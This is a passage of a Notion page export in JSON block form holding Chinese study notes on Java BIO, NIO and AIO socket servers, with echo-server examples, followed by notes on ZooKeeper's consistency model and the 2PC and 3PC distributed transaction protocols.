操作会导致线程等待,直到数据准备好。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"604868b6-0853-4a3e-a20f-9eec2707a108":{"value":{"id":"604868b6-0853-4a3e-a20f-9eec2707a108","type":"bulleted_list","properties":{"title":[["简单易用,但在高并发场景下性能较差,因为线程资源会被大量消耗。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"9b0dc533-0b7c-490e-a7a3-512862b27e00":{"value":{"id":"9b0dc533-0b7c-490e-a7a3-512862b27e00","type":"code","properties":{"title":[["// 示例:BIO的Socket服务器\nimport java.io.*;\nimport java.net.*;\n\npublic class BioServer {\n public static void main(String[] args) throws IOException {\n ServerSocket serverSocket = new ServerSocket(8080);\n while (true) {\n Socket socket = serverSocket.accept(); // 阻塞等待连接\n new Thread(() -> handle(socket)).start();\n }\n }\n\n private static void handle(Socket socket) {\n try (BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {\n String line;\n while ((line = in.readLine()) != null) {\n out.println(\"Echo: \" + line);\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2ca1a5d9-bdc7-473a-96c8-42fb2961a464":{"value":{"id":"2ca1a5d9-bdc7-473a-96c8-42fb2961a464","type":"text","properties":{"title":[["NIO(Non-blocking I/O)"]]},"created_time":1716366878716,"last_edited_time":1716533854430,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e33beedd-0063-4d9d-bac2-fabeeda1eca4":{"value":{"id":"e33beedd-0063-4d9d-bac2-fabeeda1eca4","type":"text","properties":{"title":[["NIO",[["b"]]],[" (Non-blocking I/O) 是 Java 1.4 引入的一种新的 I/O 模型,提供了非阻塞式的 I/O 操作。其特点包括:"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c8e6c5cf-8449-46bf-8c1b-bc3fe1bd180b":{"value":{"id":"c8e6c5cf-8449-46bf-8c1b-bc3fe1bd180b","type":"bulleted_list","properties":{"title":[["基于通道(Channel)和缓冲区(Buffer)。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d1198e84-f324-4f3f-9be2-f900b06b276e":{"value":{"id":"d1198e84-f324-4f3f-9be2-f900b06b276e","type":"bulleted_list","properties":{"title":[["使用选择器(Selector)管理多个通道,进行单线程多路复用。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"36466711-7ffa-4e51-ae27-c89b6b9afdb0":{"value":{"id":"36466711-7ffa-4e51-ae27-c89b6b9afdb0","type":"bulleted_list","properties":{"title":[["非阻塞的 I/O 操作,不会阻塞线程。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"dadbc0e0-85ac-4653-9271-bf86e8aa3091":{"value":{"id":"dadbc0e0-85ac-4653-9271-bf86e8aa3091","type":"code","properties":{"title":[["// 示例:NIO的Socket服务器\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SelectionKey;\nimport java.nio.channels.Selector;\nimport java.nio.channels.ServerSocketChannel;\nimport java.nio.channels.SocketChannel;\nimport java.util.Iterator;\n\npublic class NioServer {\n public static void main(String[] args) throws IOException {\n Selector selector = Selector.open();\n ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();\n serverSocketChannel.bind(new InetSocketAddress(8080));\n serverSocketChannel.configureBlocking(false);\n serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);\n\n while (true) {\n selector.select();\n Iterator iterator = selector.selectedKeys().iterator();\n while (iterator.hasNext()) {\n SelectionKey key = iterator.next();\n iterator.remove();\n if (key.isAcceptable()) {\n SocketChannel socketChannel = serverSocketChannel.accept();\n socketChannel.configureBlocking(false);\n socketChannel.register(selector, SelectionKey.OP_READ);\n } else if (key.isReadable()) {\n SocketChannel socketChannel = (SocketChannel) key.channel();\n ByteBuffer buffer = ByteBuffer.allocate(1024);\n int bytesRead = socketChannel.read(buffer);\n if (bytesRead > 0) {\n buffer.flip();\n socketChannel.write(buffer);\n } else if (bytesRead == -1) {\n socketChannel.close();\n }\n }\n }\n }\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"738ee6bd-6c9a-4b08-9a8a-1af97a68d359":{"value":{"id":"738ee6bd-6c9a-4b08-9a8a-1af97a68d359","type":"text","properties":{"title":[["AIO(Asynchronous I/O)"]]},"created_time":1716366878716,"last_edited_time":1716541621626,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"60159cb4-898d-4689-8028-e47ae34f4321":{"value":{"id":"60159cb4-898d-4689-8028-e47ae34f4321","type":"text","properties":{"title":[["AIO",[["b"]]],[" (Asynchronous I/O) 是 Java 7 引入的一种 I/O 模型,也称为 NIO.2。AIO 提供了异步的 I/O 操作,其特点包括:"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7b8010fa-4530-42ca-83e8-201477ca8ccc":{"value":{"id":"7b8010fa-4530-42ca-83e8-201477ca8ccc","type":"bulleted_list","properties":{"title":[["异步非阻塞 I/O 操作,通过回调机制处理 I/O 事件。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5fdefc00-4990-4e70-b8e4-b11356af0e7c":{"value":{"id":"5fdefc00-4990-4e70-b8e4-b11356af0e7c","type":"bulleted_list","properties":{"title":[["更加高效地处理大量连接,适合高性能、高并发的网络应用。"]]},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a4c8ad7b-1f57-4d13-930f-2f98e91f6b0c":{"value":{"id":"a4c8ad7b-1f57-4d13-930f-2f98e91f6b0c","type":"code","properties":{"title":[["// 示例:AIO的Socket服务器\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousServerSocketChannel;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\n\npublic class AioServer {\n public static void main(String[] args) throws IOException {\n AsynchronousServerSocketChannel serverSocketChannel =\n AsynchronousServerSocketChannel.open().bind(new InetSocketAddress(8080));\n\n serverSocketChannel.accept(null, new CompletionHandler() {\n @Override\n public void completed(AsynchronousSocketChannel socketChannel, Void attachment) {\n serverSocketChannel.accept(null, this); // 继续接受新的连接\n ByteBuffer buffer = ByteBuffer.allocate(1024);\n socketChannel.read(buffer, buffer, new CompletionHandler() {\n @Override\n public void completed(Integer result, ByteBuffer buffer) {\n buffer.flip();\n socketChannel.write(buffer, buffer, new CompletionHandler() {\n @Override\n public void completed(Integer result, ByteBuffer buffer) {\n if (buffer.hasRemaining()) {\n socketChannel.write(buffer, buffer, this);\n } else {\n buffer.clear();\n socketChannel.read(buffer, buffer, this);\n }\n }\n\n @Override\n public void failed(Throwable exc, ByteBuffer buffer) {\n try {\n socketChannel.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n });\n }\n\n @Override\n public void failed(Throwable exc, ByteBuffer buffer) {\n try {\n socketChannel.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n });\n }\n\n @Override\n public void failed(Throwable exc, Void attachment) {\n exc.printStackTrace();\n }\n });\n\n // 防止主线程退出\n while (true) {\n try {\n Thread.sleep(1000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n }\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716366878716,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a2ead9c1-353f-4f79-905b-57d7ae3c74a1":{"value":{"id":"a2ead9c1-353f-4f79-905b-57d7ae3c74a1","type":"divider","format":{"copied_from_pointer":{"id":"fbec6bc9-d0b1-451a-acae-7665ef54f625","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292005,"last_edited_time":1716533780231,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"fbec6bc9-d0b1-451a-acae-7665ef54f625"}},"69e00511-c7cc-45a7-b322-f581213805be":{"value":{"id":"69e00511-c7cc-45a7-b322-f581213805be","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1716366878717,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"81ff755c-87fb-4a8c-a5ff-02f890e1e990":{"value":{"id":"81ff755c-87fb-4a8c-a5ff-02f890e1e990","type":"bulleted_list","properties":{"title":[["BIO",[["b"]]],[" 适用于连接数目较小且固定的场景,编程模型简单直观。"]]},"created_time":1716366878717,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3ee10fd1-f511-4646-b722-363af9b7e7ce":{"value":{"id":"3ee10fd1-f511-4646-b722-363af9b7e7ce","type":"bulleted_list","properties":{"title":[["NIO",[["b"]]],[" 适用于连接数目多且连接较短的场景,能够通过单线程处理多连接,但编程复杂度较高。"]]},"created_time":1716366878717,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d85b8d6a-231f-4c01-8fc1-e7996a3cbfa3":{"value":{"id":"d85b8d6a-231f-4c01-8fc1-e7996a3cbfa3","type":"bulleted_list","properties":{"title":[["AIO",[["b"]]],[" 适用于连接数目多且连接较长的场景,能够实现完全的异步非阻塞 I/O 操作,编程模型复杂。"]]},"created_time":1716366878717,"last_edited_time":1716366878727,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"6ef463fa-337b-493c-9d0a-99a29a33b222":{"value":{"id":"6ef463fa-337b-493c-9d0a-99a29a33b222","type":"bulleted_list","properties":{"title":[["Netty",[["b"]]],[" 基于 NIO,提供了更高的抽象层,简化了开发过程,同时具有高性能和高可扩展性,适用于大多数网络应用场景。"]]},"created_time":1716366878717,"last_edited_time":1716533780231,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"84970f58-33ae-42a6-939b-93623fe084f7":{"value":{"id":"84970f58-33ae-42a6-939b-93623fe084f7","type":"text","format":{"copied_from_pointer":{"id":"3ad08945-2f71-4b8d-b866-0772fad589d2","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292000,"last_edited_time":1714377292000,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"3ad08945-2f71-4b8d-b866-0772fad589d2"}},"5919c901-b7ef-4442-a80f-b1881cafeef3":{"value":{"id":"5919c901-b7ef-4442-a80f-b1881cafeef3","type":"sub_header","properties":{"title":[["6.ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点"]]},"format":{"copied_from_pointer":{"id":"917594db-0086-4e4d-a8d9-c4d87266430c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1716603185284,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"917594db-0086-4e4d-a8d9-c4d87266430c"}},"859bf6d3-940d-495b-867b-2efca9ac5f70":{"value":{"id":"859bf6d3-940d-495b-867b-2efca9ac5f70","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"a3fe8912-3e1c-4d3d-a88a-540bf65e7b5a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292003,"last_edited_time":1714377292003,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"a3fe8912-3e1c-4d3d-a88a-540bf65e7b5a"}},"d12d664f-17e3-4c2b-afd6-9be19b5a8b81":{"value":{"id":"d12d664f-17e3-4c2b-afd6-9be19b5a8b81","type":"quote","properties":{"title":[["ZooKeeper是什么,有什么特性,为啥可以满足cp"]]},"format":{"copied_from_pointer":{"id":"022cce06-8db7-4080-b17b-b6be60ff8cdf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377291998,"last_edited_time":1716533202172,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"022cce06-8db7-4080-b17b-b6be60ff8cdf"}},"6dc4e13d-43a5-4fc9-95d7-c9de1a3f947c":{"value":{"id":"6dc4e13d-43a5-4fc9-95d7-c9de1a3f947c","type":"text","properties":{"title":[["Apache ZooKeeper 是一个开源的"],["分布式协调服务",[["b"]]],[",用于管理大型分布式系统中的配置信息、命名、同步和组服务等任务。它提供了一组简单的原语,分布式应用程序可以用它来实现更高层次的服务,例如同步、配置管理和命名等。"]]},"created_time":1716533220217,"last_edited_time":1716533230476,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"323fc866-bd74-48fe-8875-adeae4d44555":{"value":{"id":"323fc866-bd74-48fe-8875-adeae4d44555","type":"text","properties":{"title":[["ZooKeeper 的特性"]]},"created_time":1716533220217,"last_edited_time":1716533609819,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"6627e5f5-929d-4fdd-9d7b-6bb59537c85e":{"value":{"id":"6627e5f5-929d-4fdd-9d7b-6bb59537c85e","type":"numbered_list","properties":{"title":[["简化开发",[["b"]]],[":通过提供简单的接口和一致性保证,简化了分布式应用程序的开发。"]]},"created_time":1716533220217,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7af60d22-4f44-40ef-a343-a4869c55b355":{"value":{"id":"7af60d22-4f44-40ef-a343-a4869c55b355","type":"numbered_list","properties":{"title":[["高可用性",[["b"]]],[":ZooKeeper 通过其分布式架构实现高可用性。它的服务可以在多个服务器之间复制,保证即使个别节点失效也不会影响整个系统的运行。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5ea76b2e-5393-4f2e-9d50-77386f38b519":{"value":{"id":"5ea76b2e-5393-4f2e-9d50-77386f38b519","type":"numbered_list","properties":{"title":[["严格的顺序保证",[["b"]]],[":ZooKeeper 保证对所有更新操作的全局顺序。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8d0b9e28-739d-4179-9e25-f01c62b1ac2f":{"value":{"id":"8d0b9e28-739d-4179-9e25-f01c62b1ac2f","type":"numbered_list","properties":{"title":[["高性能",[["b"]]],[":ZooKeeper 在读操作上具有高性能,因为读操作可以在所有节点上进行。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"eaa64d52-e8e8-44ac-bd49-b439e2b0967e":{"value":{"id":"eaa64d52-e8e8-44ac-bd49-b439e2b0967e","type":"numbered_list","properties":{"title":[["一致性",[["b"]]],[":ZooKeeper 保证客户端在任何时刻读到的数据是最新的或者是一个较新的数据版本。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"03fe2727-bf9e-4995-9ffc-1519e32f8e24":{"value":{"id":"03fe2727-bf9e-4995-9ffc-1519e32f8e24","type":"text","properties":{"title":[["ZooKeeper 的一致性模型"]]},"created_time":1716533220218,"last_edited_time":1716533650540,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3933ef61-dabe-4172-83c2-b521175cc2a1":{"value":{"id":"3933ef61-dabe-4172-83c2-b521175cc2a1","type":"text","properties":{"title":[["ZooKeeper 是一个 CP 系统(在 CAP 定理中),即它保证一致性(Consistency)和分区容忍性(Partition Tolerance),可能会在可用性(Availability)上做出牺牲。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"fbc8d6c0-fa70-4f05-9f49-d900ee73cd42":{"value":{"id":"fbc8d6c0-fa70-4f05-9f49-d900ee73cd42","type":"numbered_list","properties":{"title":[["一致性(Consistency)",[["b"]]],[":"]]},"content":["e3f586f2-5836-49c2-ba77-f13e9a8aacd1","d6fc0212-1117-453b-8a42-a52557be64d1"],"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"729d8d7d-0761-4efd-819a-9cb14a4f766e":{"value":{"id":"729d8d7d-0761-4efd-819a-9cb14a4f766e","type":"numbered_list","properties":{"title":[["分区容忍性(Partition Tolerance)",[["b"]]],[":"]]},"content":["1aa3a028-3370-4790-8d25-78123ba9e7f9","ceeee165-cac8-40f0-916a-b55771658502"],"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"486f9e12-2ba0-41d4-ba70-8efbedfc75b8":{"value":{"id":"486f9e12-2ba0-41d4-ba70-8efbedfc75b8","type":"numbered_list","properties":{"title":[["可用性(Availability)",[["b"]]],[":"]]},"content":["34b1d91b-40f5-4ef5-a71f-db6e906211cd"],"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"4df76c23-c847-4648-9839-d0ee47eef622":{"value":{"id":"4df76c23-c847-4648-9839-d0ee47eef622","type":"text","properties":{"title":[["它通过 ZAB 协议和复制机制保证一致性和分区容忍性,这使得 ZooKeeper 在 CAP 定理中满足 CP 的要求。尽管在极端情况下可能会牺牲可用性,但这也是为了保证系统的一致性和整体可靠性。"]]},"created_time":1716533220218,"last_edited_time":1716533671594,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"fab4c8cb-cec7-4e6d-acee-5c9977009cb3":{"value":{"id":"fab4c8cb-cec7-4e6d-acee-5c9977009cb3","type":"divider","format":{"copied_from_pointer":{"id":"f0c9e841-127c-4589-8dd3-d22fbd73efba","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714377292005,"last_edited_time":1714377292005,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"f0c9e841-127c-4589-8dd3-d22fbd73efba"}},"e687494a-4548-4724-83b6-4ff824552583":{"value":{"id":"e687494a-4548-4724-83b6-4ff824552583","type":"text","format":{"copied_from_pointer":{"id":"8d80bbb9-969e-4c58-9990-ce44b4712b32","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716533759485,"last_edited_time":1716533759485,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b46817e2-2cbd-4cab-ae6b-f451c216ff4f":{"value":{"id":"b46817e2-2cbd-4cab-ae6b-f451c216ff4f","type":"quote","properties":{"title":[["分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点"]]},"created_time":1716533760619,"last_edited_time":1716533763764,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b287b732-6422-4ba6-8b44-9f6f95684652":{"value":{"id":"b287b732-6422-4ba6-8b44-9f6f95684652","type":"text","properties":{"title":[["分布式事务在分布式系统中用于保证跨多个节点的操作要么全部成功,要么全部失败。以下是四种常见的分布式事务实现思路:2PC(Two-Phase Commit)、3PC(Three-Phase Commit)、TCC(Try-Confirm/Cancel)、Paxos。"]]},"created_time":1716533767484,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5d4d02aa-8395-48ce-a806-13ff6fe69530":{"value":{"id":"5d4d02aa-8395-48ce-a806-13ff6fe69530","type":"text","properties":{"title":[["1. Two-Phase Commit (2PC)"]]},"created_time":1716533767484,"last_edited_time":1716533804139,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"cd5adeaa-1140-4f70-aa69-968f178c43d5":{"value":{"id":"cd5adeaa-1140-4f70-aa69-968f178c43d5","type":"text","properties":{"title":[["实现思路"]]},"created_time":1716533767484,"last_edited_time":1716541649598,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"088e0174-e70a-405e-a498-7a505487fc89":{"value":{"id":"088e0174-e70a-405e-a498-7a505487fc89","type":"text","properties":{"title":[["2PC 分为两个阶段:"]]},"created_time":1716533767484,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"97d74d85-0bc7-411c-afd5-7b64fccc9cf9":{"value":{"id":"97d74d85-0bc7-411c-afd5-7b64fccc9cf9","type":"bulleted_list","properties":{"title":[["阶段 1:准备阶段(Prepare Phase)"]]},"content":["ffa6d143-6a93-4cd8-a5ca-b42386d7d2ce","afd784d0-301f-4083-9ada-e3661a568cec"],"created_time":1716533767484,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"37e17bee-dbf1-44d9-8a83-538ed63265c2":{"value":{"id":"37e17bee-dbf1-44d9-8a83-538ed63265c2","type":"bulleted_list","properties":{"title":[["阶段 2:提交阶段(Commit Phase)"]]},"content":["2e891468-d80b-40f3-ae87-4a510b099bcf","0e39b6f8-2c24-482f-9d72-5efd2a7be7d0"],"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d498cbae-7209-4303-a7a1-204d99a0ae9d":{"value":{"id":"d498cbae-7209-4303-a7a1-204d99a0ae9d","type":"text","properties":{"title":[["优点"]]},"created_time":1716533767485,"last_edited_time":1716541651578,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"38059ff8-f755-419d-85be-8eeea0541297":{"value":{"id":"38059ff8-f755-419d-85be-8eeea0541297","type":"bulleted_list","properties":{"title":[["实现相对简单。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8fbcaf36-a0a4-44b5-bbea-d4ab48ea846e":{"value":{"id":"8fbcaf36-a0a4-44b5-bbea-d4ab48ea846e","type":"bulleted_list","properties":{"title":[["容易理解和实现基本的事务一致性。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7e711f0c-2d54-492a-b336-5906f903ba80":{"value":{"id":"7e711f0c-2d54-492a-b336-5906f903ba80","type":"text","properties":{"title":[["缺点"]]},"created_time":1716533767485,"last_edited_time":1716541652939,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"339b03cf-1041-4424-be1e-c0add7f01200":{"value":{"id":"339b03cf-1041-4424-be1e-c0add7f01200","type":"bulleted_list","properties":{"title":[["同步阻塞:所有参与者在等待协调者的决策时会被阻塞。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"fe044550-55a0-4be4-876d-54cf04d9321d":{"value":{"id":"fe044550-55a0-4be4-876d-54cf04d9321d","type":"bulleted_list","properties":{"title":[["单点故障:协调者故障时,系统可能会进入不一致状态。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7e33cfe7-5d79-4a90-a1bd-66b6bc90d31c":{"value":{"id":"7e33cfe7-5d79-4a90-a1bd-66b6bc90d31c","type":"bulleted_list","properties":{"title":[["超时问题:参与者可能长时间等待协调者的指令。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"39c0839a-e7b5-46a3-8dcb-a5a62b916427":{"value":{"id":"39c0839a-e7b5-46a3-8dcb-a5a62b916427","type":"text","properties":{"title":[["2. Three-Phase Commit (3PC)"]]},"created_time":1716533767485,"last_edited_time":1716541654585,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8a63b4f5-c486-41ee-a60a-ee5a4e7346a6":{"value":{"id":"8a63b4f5-c486-41ee-a60a-ee5a4e7346a6","type":"text","properties":{"title":[["实现思路"]]},"created_time":1716533767485,"last_edited_time":1716541656530,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b6dfc95c-6193-451e-843a-e10deb2e64ac":{"value":{"id":"b6dfc95c-6193-451e-843a-e10deb2e64ac","type":"text","properties":{"title":[["3PC 在 2PC 的基础上增加了一个准备提交阶段,分为三个阶段:"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"386e7837-1d61-40e6-8971-43d3d91b849d":{"value":{"id":"386e7837-1d61-40e6-8971-43d3d91b849d","type":"bulleted_list","properties":{"title":[["阶段 1:询问阶段(CanCommit Phase)"]]},"content":["33c684b4-e18c-4c94-8484-1526794a1203","24491319-d001-41d9-8631-6f11025e6c5e"],"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e3f586f2-5836-49c2-ba77-f13e9a8aacd1":{"value":{"id":"e3f586f2-5836-49c2-ba77-f13e9a8aacd1","type":"bulleted_list","properties":{"title":[["在 ZooKeeper 中,当一个操作返回成功时,意味着系统所有节点的数据都是一致的。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"fbc8d6c0-fa70-4f05-9f49-d900ee73cd42","parent_table":"block","alive":true}},"d6fc0212-1117-453b-8a42-a52557be64d1":{"value":{"id":"d6fc0212-1117-453b-8a42-a52557be64d1","type":"bulleted_list","properties":{"title":[["ZooKeeper 的一致性通过其严格的顺序保证和持久性机制实现。所有对 ZooKeeper 的写操作(例如创建、更新或删除节点)都会按照全局顺序写入日志,并且这些日志会在所有节点上进行复制。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"fbc8d6c0-fa70-4f05-9f49-d900ee73cd42","parent_table":"block","alive":true}},"1aa3a028-3370-4790-8d25-78123ba9e7f9":{"value":{"id":"1aa3a028-3370-4790-8d25-78123ba9e7f9","type":"bulleted_list","properties":{"title":[["ZooKeeper 能够在网络分区的情况下继续运行。它采用 ZAB (ZooKeeper Atomic Broadcast) 协议来保证在分区情况下的容错性。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"729d8d7d-0761-4efd-819a-9cb14a4f766e","parent_table":"block","alive":true}},"ceeee165-cac8-40f0-916a-b55771658502":{"value":{"id":"ceeee165-cac8-40f0-916a-b55771658502","type":"bulleted_list","properties":{"title":[["当网络分区发生时,ZooKeeper 会选出一个主节点,只要超过半数的节点仍然能够通信,ZooKeeper 就能继续服务。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"729d8d7d-0761-4efd-819a-9cb14a4f766e","parent_table":"block","alive":true}},"34b1d91b-40f5-4ef5-a71f-db6e906211cd":{"value":{"id":"34b1d91b-40f5-4ef5-a71f-db6e906211cd","type":"bulleted_list","properties":{"title":[["在 CAP 定理中,ZooKeeper 在某些情况下会牺牲可用性以保证一致性和分区容忍性。例如,在网络分区期间,如果无法达成多数节点的共识,ZooKeeper 可能会停止提供服务,以避免不一致的数据状态。"]]},"created_time":1716533220218,"last_edited_time":1716533220223,"parent_id":"486f9e12-2ba0-41d4-ba70-8efbedfc75b8","parent_table":"block","alive":true}},"ffa6d143-6a93-4cd8-a5ca-b42386d7d2ce":{"value":{"id":"ffa6d143-6a93-4cd8-a5ca-b42386d7d2ce","type":"bulleted_list","properties":{"title":[["协调者(Coordinator)向所有参与者(Participants)发送准备请求(Prepare 